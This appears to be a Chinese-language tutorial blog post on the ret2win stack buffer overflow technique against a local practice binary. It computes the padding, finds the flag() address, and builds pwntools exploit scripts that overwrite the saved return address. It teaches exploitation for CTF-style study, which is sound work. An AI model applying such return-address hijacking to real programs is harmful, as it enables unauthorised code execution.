- 发布于
ret2win
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
ret2win 中有一个 win()
函数(或等效函数);一旦你成功地将执行重定向到那里,你就完成了挑战。
为了实现这一点,我们必须覆盖 EIP,但覆盖成我们想要的特定值。
为此,我们需要知道:
- 直到我们开始覆盖返回地址(EIP)为止的
溢出 Padding
- 我们想要将 EIP 覆盖成什么值
Warning
当我说「覆盖 EIP」时,我的意思是覆盖压入到 EIP 中的已保存的返回地址。EIP 寄存器 并不位于栈上,因此不会被直接覆盖。
ret2win.zip
Binary
0x01 计算溢出 Padding
这可以通过简单的试验和错误找到。我们可以发送可变数量的字符,将 Segmentation Fault
消息和 pwndbg 结合使用,来判断我们何时覆盖了 EIP 。有一种比简单的暴力破解更好的方法:德布鲁因(De Bruijn)序列,为了方便起见,现在我们直接使用已经计算出的溢出 Padding。
Note
除了覆盖 EIP 之外,还可能会因其他原因而出现分段错误。使用调试器确保 溢出 Padding
正确。
这里的溢出 Padding 为 52 字节的偏移量。
0x02 确定 flag() 函数地址
现在我们需要在二进制文件中找到 flag()
函数的地址,这很简单:
$ pwndbg vuln
$ i fun
[...]
0x080491c3 flag
[...]
Note
i fun
代表 info function,可以列出分析中发现的函数。
可以看到这里的 flag()
函数位于 0x080491c3
。
0x03 编写地址
最后一个难题是弄清楚如何发送我们想要的地址。在 二进制漏洞利用简介中,我们发送的 A
变成了 0x41
—— 这是 A
的 ASCII 码
。所以解决方案很简单——我们只要找到 ASCII
码为 0x08
、0x04
、0x91
和 0xc3
的字符即可。
这比你想象的要简单得多,因为我们可以在 Python 中将它们指定为十六进制。
address = '\x08\x04\x91\xc3'
这使得事情变得容易得多。
Tip
使用 xxd
可以以二进制或十六进制显示文件的内容:
$ echo '\x41\x41\x41\x41' | xxd
00000000: 4141 4141 0a AAAA.
$ echo 'AAAA' | xxd
00000000: 4141 4141 0a AAAA.
0x04 编写漏洞利用脚本
现在我们知道了溢出 Padding 和想要覆盖的值,我们可以使用 pwntools 与二进制文件交互,编写漏洞利用脚本。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# 创建一个新进程
p = process('./vuln')
payload = 'A' * 52
payload += '\x08\x04\x91\xc3'
# 输出「Exploited!」字符串则说明我们成功了
p.sendline(payload)
p.interactive()
如果你直接运行上面的脚本,就会发现一个小问题:它没有输出 Exploited
。为什么?我们可以用调试器来检查一下。添加 hook pwndbg
的代码,以及 pause()
,以便我们可以在想发送 payload
的时候发送 payload
。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['alacritty', '-e']
p = process('./vuln')
# 下面这条指令可以在启动 pwndbg 后自动下断点
# 为了调试程序的问题,我们在 `unsafe` 的 ret 指令返回时设断点
gdb.attach(p, 'b *0x080491aa')
payload = 'A' * 52
payload += '\x08\x04\x91\xc3'
pause()
p.sendline(payload)
p.interactive()
现在让我们使用 python exp.py
运行该脚本,它将自动打开一个 pwndbg
窗口:
让我们在 unsafe()
返回时中断并读取返回地址的值:
$ disass unsafe
$ c
<< press any button on the exploit terminal interface >>
$ x/20wx $esp
0xffffd7dc: 0xc3910408
[...]
0xc3910408
,看起来熟悉吗?这是我们试图发送的地址,只不过字节顺序被反转了,而这种反转的原因是 字节顺序 使用大端序的系统将最高有效字节(具有最大值的字节)存储在最小的内存地址处,这就是我们发送它们的方式。使用小端序的系统的做法恰恰相反,这是有 原因 的,并且我们遇到的大多数二进制文件都是小端序的。就我们而言,只要知道字节在使用小端序的可执行文件中 payload 以相反的顺序存储 就可以了。
0x05 确定字节顺序
pwntools
附带了一个名为 checksec
的工具,用于二进制分析。我们可以直接在 pwndbg
中使用这条指令。
$ checksec
[...]
Arch: i386-32-little
[...]
因此可以确定,我们的程序是 32-bit 小端序的。
0x06 反转字节顺序
解决方法很简单:反转字节序
payload += '\x08\x04\x91\xc3'[::-1]
如果你现在运行它,它将成功输出 Exploited!
:
$ python exp.py
[+] Starting local process './vuln' argv=[b'./vuln'] : pid 9645
[DEBUG] Sent 0x39 bytes:
[...]
[*] Switching to interactive mode
[DEBUG] Received 0x1b bytes:
[...]
Overflow me
Exploited!!!!!
我们已经成功改变了程序的执行流程,调用了 flag()
函数!
0x07 Pwntools 和 字节顺序
毫不奇怪,你并不是第一个想到「能否使字节顺序书写变得更简单」的人。幸运的是,pwntools
有一个内置的 p32()
函数可供使用!
payload += '\x08\x04\x91\xc3'[::-1]
改为:
payload += p32(0x080491c3)
这样就简单多了。唯一需要注意的是它返回字节而不是字符串,因此你必须将溢出 Padding 设置为字节字符串:
payload = b'A' * 52 # 注意 "b"
否则你会得到一个这样的报错:
TypeError: can only concatenate str (not "bytes") to str
0x08 最终的 Exploit 脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./vuln')
payload = b'A' * 52
payload += p32(0x080491c3)
p.sendline(payload)
p.interactive()